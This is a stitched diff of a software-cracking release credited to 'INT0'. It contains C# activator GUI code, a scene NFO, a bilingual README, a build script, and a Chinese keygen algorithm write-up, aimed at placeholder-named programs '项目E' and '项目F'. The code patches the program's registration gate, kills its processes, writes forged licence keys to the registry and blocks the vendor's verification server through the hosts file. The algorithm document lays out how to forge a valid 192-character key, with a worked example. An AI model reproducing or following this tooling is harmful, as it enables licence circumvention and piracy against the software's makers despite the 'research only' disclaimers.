txtName = CreateTextBox(LicenseAlgo.RandomName(), inputX, y, inputWidth, false);
|
||||
Controls.Add(txtName);
|
||||
Int0Button btnRandom = new Int0Button();
|
||||
btnRandom.Text = "随机生成";
|
||||
btnRandom.Variant = Int0ButtonVariant.Secondary;
|
||||
btnRandom.SetBounds(btnX, y, btnWidth, 26);
|
||||
btnRandom.Click += delegate { txtName.Text = LicenseAlgo.RandomName(); };
|
||||
Controls.Add(btnRandom);
|
||||
y += 36;
|
||||
|
||||
// Row 2: Key
|
||||
Label lblKey = CreateLabel("注册码 (Key):", labelX, y + 4, labelWidth);
|
||||
Controls.Add(lblKey);
|
||||
txtKey = CreateTextBox(LicenseAlgo.RandomKey(), inputX, y, inputWidth, true);
|
||||
Controls.Add(txtKey);
|
||||
Int0Button btnGenKey = new Int0Button();
|
||||
btnGenKey.Text = "重生成密钥";
|
||||
btnGenKey.Variant = Int0ButtonVariant.Secondary;
|
||||
btnGenKey.SetBounds(btnX, y, btnWidth, 26);
|
||||
btnGenKey.Click += delegate { txtKey.Text = LicenseAlgo.RandomKey(); };
|
||||
Controls.Add(btnGenKey);
|
||||
y += 36;
|
||||
|
||||
// Row 3: Exe Path
|
||||
Label lblExe = CreateLabel("目标主程序:", labelX, y + 4, labelWidth);
|
||||
Controls.Add(lblExe);
|
||||
txtExePath = CreateTextBox(FindDefaultExe(), inputX, y, inputWidth, true);
|
||||
Controls.Add(txtExePath);
|
||||
Int0Button btnBrowse = new Int0Button();
|
||||
btnBrowse.Text = "浏览选择...";
|
||||
btnBrowse.Variant = Int0ButtonVariant.Secondary;
|
||||
btnBrowse.SetBounds(btnX, y, btnWidth, 26);
|
||||
btnBrowse.Click += delegate { BrowseExe(); };
|
||||
Controls.Add(btnBrowse);
|
||||
y += 36;
|
||||
|
||||
// Row 4: Backup Path
|
||||
Label lblBak = CreateLabel("注册表备份:", labelX, y + 4, labelWidth);
|
||||
Controls.Add(lblBak);
|
||||
txtBackup = CreateTextBox(LicenseWriter.DefaultBackupPath(), inputX, y, inputWidth, true);
|
||||
Controls.Add(txtBackup);
|
||||
y += 42;
|
||||
|
||||
// Action Buttons Bar
|
||||
Int0Button btnPatch = new Int0Button();
|
||||
btnPatch.Text = "仅补丁替换";
|
||||
btnPatch.Variant = Int0ButtonVariant.Secondary;
|
||||
btnPatch.SetBounds(inputX, y, 110, 32);
|
||||
btnPatch.Click += delegate { ApplyPatch(); };
|
||||
Controls.Add(btnPatch);
|
||||
|
||||
Int0Button btnActivate = new Int0Button();
|
||||
btnActivate.Text = "⚡ 一键激活(全自动)";
|
||||
btnActivate.Variant = Int0ButtonVariant.Primary;
|
||||
btnActivate.SetBounds(inputX + 118, y, 170, 32);
|
||||
btnActivate.Click += delegate { DoActivate(); };
|
||||
Controls.Add(btnActivate);
|
||||
|
||||
Int0Button btnGuard = new Int0Button();
|
||||
btnGuard.Text = "屏蔽核验服务器";
|
||||
btnGuard.Variant = Int0ButtonVariant.Secondary;
|
||||
btnGuard.SetBounds(inputX + 296, y, 126, 32);
|
||||
btnGuard.Click += delegate { BlockServer(); };
|
||||
Controls.Add(btnGuard);
|
||||
y += 44;
|
||||
|
||||
// Terminal CRT Output Console
|
||||
_console = new Int0ConsoleBox();
|
||||
_console.SetBounds(16, y, 688, 220);
|
||||
Controls.Add(_console);
|
||||
y += 228;
|
||||
|
||||
// Footer Disclaimer
|
||||
Label lblWarn = new Label();
|
||||
lblWarn.Text = "仅供授权范围内的逆向学习与学术研究。Support original creators at 项目E.com // int0.cc";
|
||||
lblWarn.ForeColor = Int0Theme.TextFaint;
|
||||
lblWarn.Font = Int0Theme.GetMonoFont(7.5F);
|
||||
lblWarn.SetBounds(16, y, 688, 20);
|
||||
Controls.Add(lblWarn);
|
||||
|
||||
Log("[*] INT0 Command Console Initialized (" + VERSION_TAG + ")");
|
||||
Log("[*] 补丁说明:重定向 IsRegistered 根门控 0x140009E0F 至 stub 0x140001622");
|
||||
Log("[+] 就绪。推荐直接点击「⚡ 一键激活(全自动)」完成进程终止、备份、原地替换与注册写入。");
|
||||
}
|
||||
|
||||
private Label CreateLabel(string text, int x, int y, int width)
|
||||
{
|
||||
Label lbl = new Label();
|
||||
lbl.Text = text;
|
||||
lbl.SetBounds(x, y, width, 20);
|
||||
lbl.ForeColor = Int0Theme.TextMuted;
|
||||
lbl.Font = Int0Theme.GetMonoFont(8.5F, FontStyle.Bold);
|
||||
return lbl;
|
||||
}
|
||||
|
||||
private TextBox CreateTextBox(string text, int x, int y, int width, bool isMono)
|
||||
{
|
||||
TextBox tb = new TextBox();
|
||||
tb.Text = text;
|
||||
tb.SetBounds(x, y, width, 24);
|
||||
tb.BackColor = Int0Theme.Surface;
|
||||
tb.ForeColor = Int0Theme.TextPrimary;
|
||||
tb.BorderStyle = BorderStyle.FixedSingle;
|
||||
tb.Font = isMono ? Int0Theme.GetMonoFont(9F) : Int0Theme.GetSansFont(9F);
|
||||
return tb;
|
||||
}
|
||||
|
||||
static string FindDefaultExe()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (Microsoft.Win32.RegistryKey k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(
|
||||
@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\项目E_is1"))
|
||||
{
|
||||
if (k != null)
|
||||
{
|
||||
string loc = k.GetValue("InstallLocation") as string;
|
||||
if (!string.IsNullOrEmpty(loc))
|
||||
return System.IO.Path.Combine(loc, "项目E.exe");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "";
|
||||
}
|
||||
|
||||
void BrowseExe()
|
||||
{
|
||||
OpenFileDialog dlg = new OpenFileDialog();
|
||||
dlg.Filter = "项目E.exe|项目E.exe|所有文件 (*.*)|*.*";
|
||||
dlg.FileName = txtExePath.Text;
|
||||
if (dlg.ShowDialog(this) == DialogResult.OK)
|
||||
txtExePath.Text = dlg.FileName;
|
||||
}
|
||||
|
||||
void Log(string msg)
|
||||
{
|
||||
_console.AppendLog("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg);
|
||||
}
|
||||
|
||||
void ApplyPatch()
|
||||
{
|
||||
string exe = txtExePath.Text.Trim();
|
||||
if (exe.Length == 0 || !System.IO.File.Exists(exe))
|
||||
{
|
||||
MessageBox.Show(this, "请先选择 项目E.exe", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
Process[] procs = Process.GetProcessesByName("项目E");
|
||||
if (procs.Length > 0)
|
||||
{
|
||||
MessageBox.Show(this, "项目E 正在运行(PID " + procs[0].Id + ")。\r\n" +
|
||||
"替换 exe 需要先完全退出程序(含托盘进程与 项目EHelper.exe)。",
|
||||
"正在运行", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
||||
return;
|
||||
}
|
||||
System.Collections.Generic.List<string> logLines = new System.Collections.Generic.List<string>();
|
||||
try
|
||||
{
|
||||
string mode = Patcher.AutoPatchAndReplace(exe, logLines);
|
||||
Log("[*] === 应用补丁(自动替换) ===");
|
||||
foreach (string line in logLines)
|
||||
Log(line);
|
||||
if (mode == "already-patched")
|
||||
{
|
||||
Log("[!] 目标已是补丁版,无需重复替换。");
|
||||
MessageBox.Show(this, "该 项目E.exe 已是补丁版,无需重复操作。\r\n\r\n" + exe,
|
||||
"无需补丁", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
return;
|
||||
}
|
||||
Log("[+] 完成:已自动替换安装目录 exe,原件备份为 .orig.exe(同目录)。");
|
||||
MessageBox.Show(this,
|
||||
"补丁已自动替换:\r\n" + exe + "\r\n\r\n" +
|
||||
"原件已备份为同目录 项目E.orig.exe。\r\n" +
|
||||
"现在点击「一键激活」写入注册表,然后重启 项目E 即可。",
|
||||
"补丁完成", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
}
|
||||
catch (System.IO.IOException ioEx)
|
||||
{
|
||||
Log("[-] 补丁失败: " + ioEx.Message);
|
||||
MessageBox.Show(this, "补丁失败(文件被占用或无法写入): " + ioEx.Message +
|
||||
"\r\n\r\n请确认 项目E 已完全退出;若安装在受保护目录请以管理员身份运行本工具。",
|
||||
"错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
catch (UnauthorizedAccessException uaEx)
|
||||
{
|
||||
Log("[-] 补丁失败: " + uaEx.Message);
|
||||
MessageBox.Show(this, "补丁失败(无写入权限): " + uaEx.Message +
|
||||
"\r\n\r\n请以管理员身份运行本工具(右键 → 以管理员身份运行)。",
|
||||
"错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log("[-] 补丁失败: " + ex.Message);
|
||||
MessageBox.Show(this, "补丁失败: " + ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
|
||||
void DoActivate()
|
||||
{
|
||||
string name = txtName.Text.Trim();
|
||||
string code = txtKey.Text.Trim();
|
||||
if (name.Length == 0) name = LicenseAlgo.RandomName();
|
||||
if (code.Length == 0) code = LicenseAlgo.RandomKey();
|
||||
if (!LicenseAlgo.Verify(name, code))
|
||||
{
|
||||
MessageBox.Show(this, "注册名/注册码格式不正确", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
string exe = txtExePath.Text.Trim();
|
||||
|
||||
Log("[*] === 开始全自动一键激活流水线 ===");
|
||||
Log("[*] [1/5] 目标 exe: " + (exe.Length > 0 ? exe : "(未指定,仅写入注册表)"));
|
||||
|
||||
// 1) 进程检测与生命周期管理
|
||||
Process[] procs = Process.GetProcessesByName("项目E");
|
||||
if (procs.Length > 0)
|
||||
{
|
||||
DialogResult r = MessageBox.Show(this,
|
||||
"项目E 正在运行(PID " + procs[0].Id + ")。\r\n" +
|
||||
"自动替换 exe 前必须完全退出程序(含托盘进程与 项目EHelper.exe)。\r\n\r\n" +
|
||||
"点「是」将自动尝试结束进程(可能需要 UAC 确认),然后继续。",
|
||||
"正在运行", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
|
||||
if (r != DialogResult.Yes) { Log("[!] [2/5] 已取消(程序仍在运行)"); return; }
|
||||
if (!Kill项目E())
|
||||
{
|
||||
Log("[-] [2/5] 无法自动结束进程,请手动退出后重试");
|
||||
MessageBox.Show(this, "无法自动结束 项目E,请手动退出(托盘右键 Exit)后重试。",
|
||||
"需要手动退出", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
||||
return;
|
||||
}
|
||||
System.Threading.Thread.Sleep(800);
|
||||
Log("[+] [2/5] 已成功终止 项目E / 项目EHelper 进程");
|
||||
}
|
||||
|
||||
// 2) 补丁 + 原位自动替换
|
||||
if (exe.Length > 0 && System.IO.File.Exists(exe))
|
||||
{
|
||||
try
|
||||
{
|
||||
string mode = Patcher.AutoPatchAndReplace(exe, _sharedLog);
|
||||
foreach (string line in _sharedLog) Log(line);
|
||||
_sharedLog.Clear();
|
||||
Log(mode == "already-patched" ? "[+] [3/5] 目标已是补丁版(跳过替换)" : "[+] [3/5] 补丁已自动替换生效");
|
||||
}
|
||||
catch (System.IO.IOException ioEx)
|
||||
{
|
||||
Log("[-] [3/5] 补丁替换失败(文件占用/IO): " + ioEx.Message);
|
||||
MessageBox.Show(this, "补丁替换失败: " + ioEx.Message +
|
||||
"\r\n\r\n请确认 项目E 完全退出;若目录受保护请以管理员身份运行本工具。",
|
||||
"错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch (UnauthorizedAccessException uaEx)
|
||||
{
|
||||
Log("[-] [3/5] 补丁替换失败(无写入权限): " + uaEx.Message);
|
||||
MessageBox.Show(this, "无写入权限: " + uaEx.Message +
|
||||
"\r\n\r\n请以管理员身份运行本工具(右键 → 以管理员身份运行)。",
|
||||
"错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log("[-] [3/5] 补丁替换失败: " + ex.Message);
|
||||
MessageBox.Show(this, "补丁替换失败: " + ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Log("[!] [3/5] exe 未指定或不存在,跳过补丁(仅写入注册表,需自行确保 exe 已打补丁)");
|
||||
}
|
||||
|
||||
// 3) 写注册表 RN/RC
|
||||
string backup = txtBackup.Text.Trim();
|
||||
string error;
|
||||
System.Collections.Generic.List<string> wlog = new System.Collections.Generic.List<string>();
|
||||
bool ok = LicenseWriter.Write(name, code, backup.Length > 0 ? backup : null, wlog, out error);
|
||||
foreach (string line in wlog) Log(line);
|
||||
if (!ok)
|
||||
{
|
||||
Log("[-] [4/5] 注册表写入失败: " + error);
|
||||
MessageBox.Show(this, "注册表写入失败: " + error, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
|
||||
// 4) 完成
|
||||
Log("[+] [5/5] 全部流程完成:补丁(如需)已替换,RN/RC 已写入并通过复读哈希校验!");
|
||||
Log(" [*] 授权注册名: " + name);
|
||||
Log(" [*] 授权注册码: " + code);
|
||||
MessageBox.Show(this,
|
||||
"一键激活成功(全自动)!\r\n\r\n" +
|
||||
"补丁: " + (exe.Length > 0 ? exe + "(原件备份: .orig.exe)" : "(未指定 exe,跳过)") +
|
||||
"\r\n注册名: " + name +
|
||||
"\r\n注册码: " + code +
|
||||
"\r\n\r\n重启 项目E 后生效(About 对话框显示已授权)。",
|
||||
"激活成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
}
|
||||
|
||||
static bool Kill项目E()
|
||||
{
|
||||
try
|
||||
{
|
||||
Process[] procs = Process.GetProcessesByName("项目E");
|
||||
foreach (Process p in procs) p.Kill();
|
||||
procs = Process.GetProcessesByName("项目EHelper");
|
||||
foreach (Process p in procs) p.Kill();
|
||||
System.Threading.Thread.Sleep(1000);
|
||||
if (Process.GetProcessesByName("项目E").Length == 0 &&
|
||||
Process.GetProcessesByName("项目EHelper").Length == 0)
|
||||
return true;
|
||||
}
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "taskkill.exe";
|
||||
psi.Arguments = "/F /IM 项目E.exe /T";
|
||||
psi.Verb = "runas";
|
||||
psi.UseShellExecute = true;
|
||||
Process.Start(psi);
|
||||
psi = new ProcessStartInfo();
|
||||
psi.FileName = "taskkill.exe";
|
||||
psi.Arguments = "/F /IM 项目EHelper.exe /T";
|
||||
psi.Verb = "runas";
|
||||
psi.UseShellExecute = true;
|
||||
Process.Start(psi);
|
||||
System.Threading.Thread.Sleep(2000);
|
||||
return Process.GetProcessesByName("项目E").Length == 0 &&
|
||||
Process.GetProcessesByName("项目EHelper").Length == 0;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
void BlockServer()
|
||||
{
|
||||
if (HostsGuard.IsBlocked())
|
||||
{
|
||||
MessageBox.Show(this, "核验服务器已在 hosts 中屏蔽,无需重复操作。", "提示",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
return;
|
||||
}
|
||||
DialogResult r = MessageBox.Show(this,
|
||||
"将在系统 hosts 文件中添加:\r\n\r\n " + HostsGuard.BlockEntry +
|
||||
"\r\n\r\n作用:让 项目E 的在线核验(项目E.license-manage.com)无法连接,\r\n" +
|
||||
"减少 Helper 的联网行为。需要管理员权限(UAC 弹窗)。\r\n\r\n继续?",
|
||||
"屏蔽核验服务器", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
|
||||
if (r != DialogResult.Yes) return;
|
||||
bool launched = HostsGuard.BlockViaUac();
|
||||
System.Threading.Thread.Sleep(1200);
|
||||
if (HostsGuard.IsBlocked())
|
||||
Log("[+] 已成功屏蔽核验服务器(hosts 写入完成)。");
|
||||
else if (launched)
|
||||
Log("[!] 已发起 hosts 写入,但未检测到生效(UAC 被拒绝或写入失败)。");
|
||||
else
|
||||
Log("[-] hosts 写入未执行(UAC 被取消)。");
|
||||
}
|
||||
}
|
||||
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new MainForm());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
__________________________________________________________________________
|
||||
| |
|
||||
| ██╗███╗ ██╗████████╗ ██████╗ |
|
||||
| ██║████╗ ██║╚══██╔══╝ ██╔═████╗ |
|
||||
| ██║██╔██╗ ██║ ██║ ██║██╔██║ |
|
||||
| ██║██║╚██╗██║ ██║ ████╔╝██║ |
|
||||
| ██║██║ ╚████║ ██║ ╚██████╔╝ |
|
||||
| ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ |
|
||||
| |
|
||||
| [ INT0 RESEARCH GROUP // SCENE NFO ] |
|
||||
|__________________________________________________________________________|
|
||||
|
||||
TARGET: 项目F Pro 5.x / 6.x (Banyan)
|
||||
RELEASE: 项目F.Pro.v5.v6.Activation.Tool-INT0
|
||||
TYPE: CheckLicense Crypto Reversing & Offline Config Injector
|
||||
ARCH: x86_64 / Windows
|
||||
SHA256: <实测哈希>
|
||||
ONLINE TOOL: https://项目F.int0.cc
|
||||
DISTRIBUTION: https://int0.cc & P2P Mirrors
|
||||
|
||||
TECHNICAL REVERSING NOTES:
|
||||
--------------------------
|
||||
Disassembled 项目F.Core.Pro.LicenseChecker.CheckLicense.
|
||||
Identified that manual activation inputs trigger forced remote POST to
|
||||
account.项目F.com/api/v1/activate, while startup sequence relies on
|
||||
CheckLicenseSafe local cryptographic hash assertion.
|
||||
|
||||
Features:
|
||||
- Automated 192-char cryptographic offline key generation with local self-validation.
|
||||
- Atomic Preferences.json configuration injection with automated process triage.
|
||||
- Rollback prevention: resets disguised LastUpdateTimeV1 timestamp and provides
|
||||
one-click hosts patch (0.0.0.0 account.项目F.com) to neutralize server revokes.
|
||||
@@ -0,0 +1,81 @@
|
||||
===============================================================================
|
||||
INT0 REVERSE ENGINEERING RESEARCH SUITE
|
||||
Release: 项目F.Pro.v5.v6.Activation.Tool-INT0
|
||||
Target : 项目F Pro 5.x / 6.x
|
||||
===============================================================================
|
||||
|
||||
[EN] English
|
||||
-------------------------------------------------------------------------------
|
||||
This release archive is an all-in-one educational and reverse engineering research
|
||||
suite analyzing the licensing, algorithmic verification, and memory structures
|
||||
of 项目F Pro 5.x / 6.x.
|
||||
|
||||
DISCLAIMER:
|
||||
This project is strictly for academic research, security auditing, and educational
|
||||
purposes. Commercial exploitation is strictly prohibited. If this software is
|
||||
valuable to your workflow, please support the original authors by purchasing
|
||||
a genuine commercial license.
|
||||
|
||||
PACKAGE CONTENTS:
|
||||
- 项目F.Pro.v5.v6.Activation.Tool-INT0.nfo
|
||||
- 项目FActivate.exe
|
||||
- build.ps1
|
||||
- docs/algorithm.md
|
||||
- docs/reverse-engineering.md
|
||||
- src/HostsGuard.cs
|
||||
- src/LicenseAlgo.cs
|
||||
- src/项目FActivate.cs
|
||||
- src/PrefsWriter.cs
|
||||
- tools/项目FActivate.exe
|
||||
- tools/test_tool.exe
|
||||
- README.txt (Bilingual Documentation)
|
||||
- SHA256SUMS.txt (Cryptographic Checksums)
|
||||
|
||||
USAGE:
|
||||
1. Main GUI Tool:
|
||||
Launch '项目FActivate.exe' directly from the root folder.
|
||||
2. Auxiliary & Test Tools:
|
||||
Located in 'tools/' directory (includes CLI keygens, test harnesses, or frida scripts).
|
||||
3. Source Code:
|
||||
Complete, unabridged source code for all tools is included in 'src/'.
|
||||
You may review the cryptographic algorithms or recompile via 'build.ps1'.
|
||||
4. Documentation:
|
||||
Detailed reverse engineering notes and algorithm breakdowns reside in 'docs/'.
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
[ZH] 简体中文
|
||||
-------------------------------------------------------------------------------
|
||||
本发布包为针对 项目F Pro 5.x / 6.x 软件授权机制、密码学算法与内存逻辑的完整逆向工程学术研究套件。
|
||||
|
||||
免责声明:
|
||||
本项目仅供计算机逆向工程、软件授权安全与密码学机制的学习和学术交流。
|
||||
严禁用于任何商业牟利。若该软件对您的日常工作和学习带来帮助,请支持原厂并购买官方正版授权。
|
||||
|
||||
套件内容:
|
||||
- 项目F.Pro.v5.v6.Activation.Tool-INT0.nfo
|
||||
- 项目FActivate.exe
|
||||
- build.ps1
|
||||
- docs/algorithm.md
|
||||
- docs/reverse-engineering.md
|
||||
- src/HostsGuard.cs
|
||||
- src/LicenseAlgo.cs
|
||||
- src/项目FActivate.cs
|
||||
- src/PrefsWriter.cs
|
||||
- tools/项目FActivate.exe
|
||||
- tools/test_tool.exe
|
||||
- README.txt(中英双语说明)
|
||||
- SHA256SUMS.txt(文件校验哈希)
|
||||
|
||||
使用说明:
|
||||
1. 主图形激活工具:
|
||||
直接双击根目录下的 '项目FActivate.exe' 即可一键使用。
|
||||
2. 辅助与测试工具:
|
||||
存放在 'tools/' 目录中(包含命令行工具、测试套件及脚本)。
|
||||
3. 完整源代码:
|
||||
所有激活工具与算法实现的完整源码均开源置于 'src/' 目录中,可直接审阅或通过 'build.ps1' 重新编译。
|
||||
4. 技术研报:
|
||||
详细算法分析与逆向全过程记录存放在 'docs/' 目录中。
|
||||
|
||||
===============================================================================
|
||||
INT0 COLLECTIVE // RELEASES.INT0.CC // T.ME/INT0_OFFICIAL
|
||||
===============================================================================
|
||||
@@ -0,0 +1,45 @@
|
||||
# Build 项目F Activate (C#5 / .NET Framework 4.8, csc)
|
||||
# Usage: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
$root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$src = Join-Path $root 'src'
|
||||
$tests = Join-Path $root 'tests'
|
||||
$out = Join-Path $root 'tools'
|
||||
|
||||
# locate csc.exe (Framework 4.x, fall back 32-bit path)
|
||||
$fx = 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319'
|
||||
if (-not (Test-Path (Join-Path $fx 'csc.exe'))) {
|
||||
$fx = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319'
|
||||
}
|
||||
$csc = Join-Path $fx 'csc.exe'
|
||||
if (-not (Test-Path $csc)) { throw "csc.exe not found under $fx" }
|
||||
Write-Host "Using csc: $csc"
|
||||
|
||||
$common = @('/nologo', '/codepage:65001')
|
||||
$refsGui = @('/r:System.dll', '/r:System.Drawing.dll', '/r:System.Windows.Forms.dll',
|
||||
("/r:" + (Join-Path $fx 'System.Numerics.dll')))
|
||||
$refsWeb = @(("/r:" + (Join-Path $fx 'System.Web.Extensions.dll')))
|
||||
|
||||
function Invoke-Csc {
|
||||
param([string]$Target, [string]$Name, [string[]]$Refs, [string[]]$Sources)
|
||||
$cscArgs = @($common, "/target:$Target", "/out:$(Join-Path $out $Name)") + $Refs + $Sources
|
||||
& $csc @cscArgs
|
||||
if ($LASTEXITCODE -ne 0) { throw "csc failed for $Name" }
|
||||
Write-Host "OK: $Name"
|
||||
}
|
||||
|
||||
New-Item -ItemType Directory -Force -Path $out | Out-Null
|
||||
|
||||
# one-click activation GUI (generation + writing in a single window)
|
||||
Invoke-Csc 'winexe' '项目FActivate.exe' ($refsGui + $refsWeb) @((Join-Path $src '项目FActivate.cs'), (Join-Path $src 'LicenseAlgo.cs'), (Join-Path $src 'PrefsWriter.cs'), (Join-Path $src 'HostsGuard.cs'))
|
||||
|
||||
# console self-check (algorithm + config writer)
|
||||
Invoke-Csc 'exe' 'test_tool.exe' (@('/r:System.dll') + $refsWeb + @(("/r:" + (Join-Path $fx 'System.Numerics.dll')))) @((Join-Path $tests 'test_tool.cs'), (Join-Path $src 'LicenseAlgo.cs'), (Join-Path $src 'PrefsWriter.cs'))
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Running self-check...'
|
||||
& (Join-Path $out 'test_tool.exe')
|
||||
if ($LASTEXITCODE -ne 0) { throw 'test_tool self-check FAILED' }
|
||||
Write-Host ''
|
||||
Write-Host 'Build complete. Artifacts in tools/ (项目FActivate.exe, test_tool.exe)'
|
||||
@@ -0,0 +1,151 @@
|
||||
# 项目F Pro 许可证校验算法原理
|
||||
|
||||
> 目标函数:`项目F.Core.Pro.LicenseChecker.CheckLicense(string email, string license)`
|
||||
> 版本覆盖:项目F 6.3 / V7 Beta(两版本算法逐字节一致,仅混淆类名/token 不同)
|
||||
|
||||
## 1. 常量
|
||||
|
||||
```csharp
|
||||
const string CHARSET = "23456789ABCDEFGHJKLMNPQRSTUVWXYZ"; // 32 字符,剔除 0/1/I/O
|
||||
const string SALT = "项目Fl047YpyZUU5M";
|
||||
const int LICENSE_LEN = 192; // 密钥总长度
|
||||
const int CHECK_POS = 160; // 校验串起始位置
|
||||
const int CHECK_LEN = 19; // 校验串长度
|
||||
```
|
||||
|
||||
- 密钥是 192 字符的 Base32 风格字符串(字符集 32 个,5 bit/字符)
|
||||
- **只有 `license[160:179]` 这 19 个字符被校验**,其余 160 + 13 字符任意
|
||||
|
||||
## 2. 校验流程
|
||||
|
||||
```
|
||||
bool CheckLicense(email, license):
|
||||
1. email/license 非空,且 license.Length == 192
|
||||
2. email = email.ToLowerInvariant()
|
||||
3. v = (H1(email) << 64) | (H2(email) << 32) | H3(email) // 96 位校验值
|
||||
4. for i in 0..18:
|
||||
result += CHARSET[(v >> (96 - (i+1)*5)) & 31] // 19 个 5-bit 组
|
||||
5. if license[160:179] != result: return false
|
||||
6. h = MD5Hex(email + SALT)
|
||||
7. if BLACKLIST.Contains(h): return false // 6 个硬编码哈希
|
||||
8. return true
|
||||
```
|
||||
|
||||
## 3. 三个哈希函数(自定义、无标准库对应)
|
||||
|
||||
### H1(多项式滚动哈希)
|
||||
```
|
||||
h = 0
|
||||
for c in email: h = (h * 43 + ord(c)) mod 2^32
|
||||
```
|
||||
|
||||
### H2(ELF 风格)
|
||||
```
|
||||
h = 0
|
||||
for c in email:
|
||||
h = ((h << 4) + ord(c)) mod 2^32
|
||||
g = h & 0xF0000000
|
||||
if g != 0:
|
||||
h ^= (g >> 24)
|
||||
h ^= g
|
||||
```
|
||||
|
||||
### H3(4 轮移位异或)
|
||||
```
|
||||
h = 0
|
||||
for r in 0..3:
|
||||
for j in range(r, len(email), 4):
|
||||
h ^= (ord(email[j]) << ((r*8) % 32)) mod 2^32
|
||||
```
|
||||
|
||||
## 4. 黑名单
|
||||
|
||||
`MD5Hex(email + SALT)`(小写 hex)命中以下 6 个硬编码哈希即拒绝(用于封锁已知泄露/破解邮箱):
|
||||
|
||||
```
|
||||
710ab287938947d40d8d5857f663753c
|
||||
c109e3ee2bd74d5b88de647eebc2fd0e
|
||||
1229667d8ecc0616bffd7740c4323f9a
|
||||
b05744004c455956e5408a9b1c95b047
|
||||
57a39722f37db4727e0f425156f3b2d7
|
||||
0c16a79693d8d58e1e5b81f48f9ba64b
|
||||
```
|
||||
|
||||
## 5. 校验串构造(Keygen 核心)
|
||||
|
||||
第 3 步已经证明:**校验串完全由 email 决定**。因此构造密钥:
|
||||
|
||||
```
|
||||
license = 随机160字符 + CHARSET[(v >> (96-(i+1)*5)) & 31](i=0..18, 19字符) + 随机13字符
|
||||
```
|
||||
|
||||
- 随机部分取 `CHARSET` 内任意字符即可(未被校验)
|
||||
- 随机邮箱命中黑名单概率可忽略(黑名单仅 6 个具体哈希)
|
||||
|
||||
## 5.1 完整工作示例(可亲手验证)
|
||||
|
||||
以 `test@项目F.com` 为例,逐步演算完整校验串:
|
||||
|
||||
```
|
||||
1. 邮箱小写: test@项目F.com(16 个字符)
|
||||
|
||||
2. 三个哈希(uint32 溢出)
|
||||
H1 = 0x9F55B47B (多项式 x43 滚动)
|
||||
H2 = 0x00EEF05D (ELF 风格)
|
||||
H3 = 0x13070B6E (4 轮移位异或)
|
||||
|
||||
3. 拼接 96 位校验值(H1 占高位,H3 占低位)
|
||||
v = 0x9F55B47B00EEF05D13070B6E (24 个十六进制字符 = 96 bit,逐位紧凑无空隙)
|
||||
|
||||
4. 96 位布局(从最高位 bit 95 开始)
|
||||
|
||||
H1 32bit H2 32bit H3 32bit
|
||||
┌────────────┬────────────┬────────────┐
|
||||
│ 9F55B47B │ 00EEF05D │ 13070B6E │
|
||||
└────────────┴────────────┴────────────┘
|
||||
bit 95 63 31 0
|
||||
↑ v >> (96-(i+1)*5) 从高位向低位切 5 bit
|
||||
|
||||
5. 19 组 5-bit 切片 → 查 32 字符表
|
||||
|
||||
i bits范围 idx 字符 i bits范围 idx 字符
|
||||
1 [91,96) 19 M 11 [41,46) 24 S
|
||||
2 [86,91) 29 X 12 [36,41) 5 7
|
||||
3 [81,86) 10 C 13 [31,36) 26 U
|
||||
4 [76,81) 27 V 14 [26,31) 4 6
|
||||
5 [71,76) 8 A 15 [21,26) 24 S
|
||||
6 [66,71) 30 Y 16 [16,21) 7 9
|
||||
7 [61,66) 24 S 17 [11,16) 1 3
|
||||
8 [56,61) 0 2 18 [ 6,11) 13 F
|
||||
9 [51,56) 29 X 19 [ 1, 6) 23 R
|
||||
10 [46,51) 27 V
|
||||
|
||||
6. 校验串(19 字符):
|
||||
MXCVAYS2XVS7U6S93FR
|
||||
|
||||
7. 构造完整密钥:
|
||||
[0:160] 160 个随机字符(取 CHARSET 任取)
|
||||
[160:179] 校验串 MXCVAYS2XVS7U6S93FR
|
||||
[179:192] 13 个随机字符(取 CHARSET 任取)
|
||||
```
|
||||
|
||||
读者可用任意语言复算(Python 3 约 20 行):哈希函数逐个字节模拟 ≡ 上表数值(另见 §7 交叉验证)。
|
||||
|
||||
